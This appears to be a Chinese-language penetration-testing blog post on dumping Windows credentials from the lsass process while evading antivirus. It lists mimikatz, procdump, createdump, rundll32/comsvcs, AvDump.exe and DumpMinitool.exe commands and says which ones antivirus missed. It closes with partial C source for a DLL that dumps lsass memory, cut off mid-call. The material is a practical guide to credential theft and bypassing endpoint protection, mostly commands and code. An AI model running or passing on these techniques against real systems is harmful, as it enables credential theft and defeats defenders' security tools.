1. 程式人生 > 其它 >dumphash bypass殺軟的多種方式

dumphash bypass殺軟的多種方式

前言

獲取Windows使用者的憑證資訊是滲透過程中至關重要的一步。

沒殺軟,只要有許可權想怎麼讀就怎麼讀。

有殺軟,得用一些特別的技巧。

注:本機所有測試均為物理機,且為最新版AV

Mimikatz直接讀取Lsass程序

許可權提升

privilege::debug

抓取密碼

sekurlsa::logonpasswords

但如果此時目標機器上有AV,必定將被攔截

此時mimikatz必須免殺。

一般來說,目標機器有殺軟的存在,更傾向於離線解析密碼。

白名單檔案dump

首先說三個微軟簽名的白名單程式

  1. Procdump.exe
  2. SQLDumper.exe
  3. createdump.exe

Procdump.exe(no)

儘管procdump擁有微軟簽名,但大部分AV廠商對此並不買賬。

procdump.exe  -ma lsass.exe 1.txt

SQLDumper.exe也是一樣的

createdump.exe(no)

createdump.exe隨著.NET5出現的,本身是個native binary

雖然有簽名同樣遭到AV查殺

createdump.exe -u -f lsass.dmp lsass[PID]

Rundll32.exe(no)

使用rundll32直接執行comsvcs.dll的匯出函式MiniDump來Dump程序記憶體

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id Desktop\lsass-comsvcs.dmp full

同樣被查殺

avdump.exe(yes)

AvDump.exeAvast防毒軟體中自帶的一個程式,可用於轉儲指定程序(lsass.exe)記憶體資料,它帶有Avast殺軟數字簽名。

預設路徑為:

C:\Program Files\Avast Software\Avast

AvDump.exe --pid 980 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp

成功dump並解密,全程數字殺軟無感。

DumpMinitool.exe(yes)

此exe為近日mr.d0x的某推上分享了的一個LOLBIN,通過vs2022裡的DumpMinitool.exe

來匯出lsass程序。

路徑為:

C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions

數字殺軟全程無感

DumpMinitool.exe --file 1.txt --processId 980 --dumpType Full

其他方式

SilentProcessExit進行Dump(no)

具體原理參考文章:利用SilentProcessExit機制dump記憶體

Silent Process Exit,即靜默退出。而這種除錯技術,可以派生 werfault.exe程序,可以用來執行任意程式或者也可以用來轉存任意程序的記憶體檔案或彈出視窗。

但該方式需要修改登錄檔,修改登錄檔操作將會被查殺。

編寫Dump Lsass的DLL(yes)

  1. 獲取Debug許可權
  2. 找到lsass的PID
  3. 使用MiniDump或MiniDumpWriteDump進行記憶體dump
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(hSnapshot, &entry)) {
        while (Process32Next(hSnapshot, &entry)) {
            if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
                return entry.th32ProcessID;
            }
        }
    }

    CloseHandle(hSnapshot);
    return 0;
}

void GetDebugPrivilege()
{
    BOOL fOk = FALSE;
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        fOk = (GetLastError() == ERROR_SUCCESS);
        CloseHandle(hToken);
    }
}

void DumpLsass()
{
    wchar_t  ws[100];
    _MiniDumpW MiniDumpW;

    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");

    GetDebugPrivilege();

    MiniDumpW(0